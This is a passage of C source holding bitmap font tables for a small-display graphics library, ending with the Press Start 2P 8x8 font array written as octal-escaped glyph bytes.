"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300@\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\340\300\300\200\200\0\0\0\0\37\377\377\377\377\377\377\0\0\0\0\0\200\200\300\300" "\340\300\0\0\17\17\17\17\37\37\37\37\77\77\276\376\374\377\377\377\377\377\374\376\276>\77\37\37\37\37\17" "\17\17\17\10\0\0\0\200\300\340\360\370\376\377\377\177\77\17\7\3\7\17\77\177\377\377\376\370\360\340\300\200" "\0\0\0\0\0\0\0\3\3\7\17\17\7\3\1\0\0\0\0\0\0\0\0\0\1\3\17\17\17\7\3\3" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340\340\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\77\77\77\77\77\77\77\77\77\77\77\77\77\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77" "\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\17\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\277\377\377\377\377\377\377\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\60x|\376\177\77\37\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0~~~~~~~~~~~~~~~~~~~~~~~~~~" "~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\370\370\360" "\360`\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\374\377\377\377\377\177\37\7" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\77\7\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\377\377\77\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\77\17\3\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\374\377\377\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\14\17\37\37\77\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\377\377\377\177\77\37\37\17\17\37\37\77\377\377\376\374\370\360\300\0" "\0\0\0\0\200\370\377\377\377\377\377\377\17\3\0\0\0\0\0\0\0\300\340\360\374\377\377\77\377\377\377\377" "\370\200\0\0\377\377\377\377\377\377\377\0\0\0\0\200\340\360\374\376\177\77\37\7\3\1\0\0\377\377\377\377" "\377\377\0\0\7\177\377\377\377\377\377\374\370\376\177\77\37\7\3\1\0\0\0\0\0\0\200\370\377\377\377\377" "\377\7\0\0\0\0\3\17\37\77\377\377\377\377\376\370\360\360\340\340\340\340\360\360\374\376\377\377\177\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0p\370\370\374\374~~\177\177\77\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0`\360\370\374\376\377\377\77\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\376\374\360" "\340\200\0\0\0\0\0\0\0\1\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\303\377\377\377\377\377" "\377\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\370\376\377\377\177\77\37\17\7" "\1\0\0\0\0\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\300\360\374\376\377\377\377\377\357\347\343\341\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\360\360\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\34>~\377\177\77\77\37\37\17\17\17\37\37\37\77\77\377\377\377\376\374\370\360" "\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\177" "\37\0\0\0\0\0\0\0\0\0\0\0\0\0>>>>>>\77\177\177\377\377\377\377\377\363\341\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\207\377\377\377\377\377" "\377\370\0\0\0\0 x\374\376\377\377\370\370\360\340\340\340\340\340\340\340\360\360\370\374\377\377\377\377\177\77" "\17\3\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\300\300\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\376\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\377\377\77\37\7\3\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\200\340\360\374\376\377\377\77\37\7\1\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0|\177\177\177\177\177\177\177~~~~~~~~~~\377\377\377\377\377\377\377~~~" "~~~\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\0\0\370\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\0\0\0\0\0\0\0\377\377\377\377\377\377\377\340\340\360\360\360\360\360\360\360\360\340\340\300\300\200\0\0" "\0\0\0\0\0\0\0\36\37\77\77\177\77\37\17\7\7\7\3\3\3\3\7\7\17\37\77\377\377\377\377\376" "\374\360\200\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\0\10\30<~\377\377\377\376\370\370\360\360\340\340\340\340\340\340\360\360\370\374\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0" "\0\0\0\0\0\0\0\0\200\340\360\370\374\376\377\377\177\77\77\37\37\37\17\17\17\37\37\77\177\377\177>" "\36\14\0\0\0\0\340\374\377\377\377\377\377\77\203\301\300\340\340\340\340\340\340\340\340\340\300\300\200\200\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\377\77\37\37\17\17\7\7\7\7\7\17\37\77\377\377\377\377\376" "\370\360\200\0\0\0\77\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377" "\377\377\377\0\0\0\0\1\17\37\177\377\377\377\377\374\370\360\340\340\340\340\340\340\360\370\374\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\217\377\377\377\377\377\377\177\37" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377\177\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\377\377\77\17\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\370\377\377\377\377\377\77\17\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\377\177\17\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\6\7\7\7\7\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\374\376\376\377\377\177\77\37\37\37\17\17\37\37\37\77\377\377\377\376\376\374\360" "\300\0\0\0\0\0\0\37\177\377\377\377\377\377\360\300\200\200\0\0\0\0\0\200\300\360\377\377\377\377\377\77" "\17\0\0\0\0\0\0\0\200\300\341\363\367\377\377\377\177\77\77>>~\177\377\377\377\377\367\343\341\300\0" "\0\0\0\0\0\360\374\377\377\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377\377\377" "\376\370\0\0\0\7\37\77\177\377\377\377\377\374\370\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\177\77" "\37\7\0\0\0\0\0\0\0\0\1\3\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\377\377\177\77\37\37\17\17\17\37\37\77\177\377\377\376\374\370\360\340" "\0\0\0\0\0\0\376\377\377\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377\377\377\377" "\377\370\0\0\0\0\1\17\77\177\377\377\377\377\374\370\360\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\7\7\3\3\1\361\377\377\377\377\377" "\377\17\0\0\0\0\0\340\360\370\374\374\374\360\360\340\340\340\340\340\340\360\360\370\374\377\377\377\177\77\17\7" "\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\340\340\340\340\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\77\177\177\177\177\77\77\17\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\340\360\360\360\360\340\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\77\77\77\77\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1 Copyright: (c) 2011 Cody Glyphs: 192/556 BBX Build Mode: 3 */ const uint8_t u8x8_font_pressstart2p_f[1796] U8X8_FONT_SECTION("u8x8_font_pressstart2p_f") = " \377\1\1\0\0\0\0\0\0\0\0\0\0__\7\0\0\0\0\7\7\0\7\7\0\0\42\177\177\42" "\177\177\42\0$.*\177*:\20\0F%\23\10dR\61\0\66\177I_v`P\0\0\0\7\7" "\0\0\0\0\0\0\34>cA\0\0\0Ac>\34\0\0\0\10*>\34>*\10\0\0\10\10>" ">\10\10\0\0\200\340`\0\0\0\0\0\10\10\10\10\10\10\0\0\0``\0\0\0\0@ \20\10" "\4\2\1\0\34>aAC>\34\0\0@B\177\177@@\0bsyY]OF\0 aIM" "O{\61\0\30\34\26\23\177\177\20\0'gEEE}\70\0<~KIIy\60\0\3\3qy" "\15\7\3\0\66OMYYv\60\0\6OIIi\77\36\0\0\0\66\66\0\0\0\0\0@v\66" "\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\24\0\0Ac\66\34\10\0\0\6\7SS" "[\17\6\0>A]U]Q\36\0|~\23\21\23~|\0\177\177III\177\66\0\34>cA" "Ac\42\0\177\177AAc>\34\0\177\177IIIIA\0\177\177\11\11\11\11\1\0\34>cA" "Iyy\0\177\177\10\10\10\177\177\0\0AA\177\177AA\0 `@@@\177\77\0\177\177\30<" "vcA\0\0\177\177@@@@\0\177\177\16\34\16\177\177\0\177\177\16\34\70\177\177\0>\177AA" "A\177>\0\177\177\21\21\21\37\16\0>\177AQq\77^\0\177\177\21\61yoN\0&oII" "Kz\60\0\0\1\1\177\177\1\1\0\77\177@@@\177\77\0\17\37\70p\70\37\17\0\177\177\70\34" "\70\177\177\0cw>\34>wc\0\0\7\17xx\17\7\0aqy]OGC\0\0\0\177\177" "AA\0\0\1\2\4\10\20 @\0\0AA\177\177\0\0\0\0\2\3\1\3\2\0\0\200\200\200\200" "\200\200\200\0\0\0\0\1\2\0\0\0 tTTT|x\0\77\177DDD|\70\0\70|DD" "DDD\0\70|DDD\177\177\0\70|TTT\134\30\0\0\4\4~\177\5\5\0\30\274\244\244" "\244\374|\0\177\177\4\4\4|x\0\0@D}}@@\0\0\200\200\204\375}\0\0\177\177\30\70" "|lD\0\0@A\177\177@@\0|\4||\4|x\0||\4\4\4|x\0\70|DD" "D|\70\0\374\374$$$<\30\0\30<$$$\374\374\0\0||\10\4\4\4\0H\134TT" "Tt \0\0\4\4\177\177\4\4\0<|@@@||\0\0\34<``<\34\0<@||" "@||\0ll\70\70\70ll\0\34\274\240\240\240\374|\0Ddt|\134LD\0\0\0\10>" "wA\0\0\0\0\0\177\177\0\0\0\0Aw>\10\0\0\0\10\4\14\34\30\20\10\0\0``\0" "``\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0p}}\0\0\0\34>\42\177\42\66\24\0H~\177I" "IKB\0\0\42\34\42\42\34\42\0\0+/||/+\0\0\0\0ww\0\0\0\0&oU" "U{\62\0\0\1\1\0\1\1\0\0\34\0|~\35;r}|\0\70|EFD|\70\0\70|DF" "E|\70\0\70~GEG~\70\0\70~EGF}\70\0\70}EDE}\70\0\0\42\24\10" 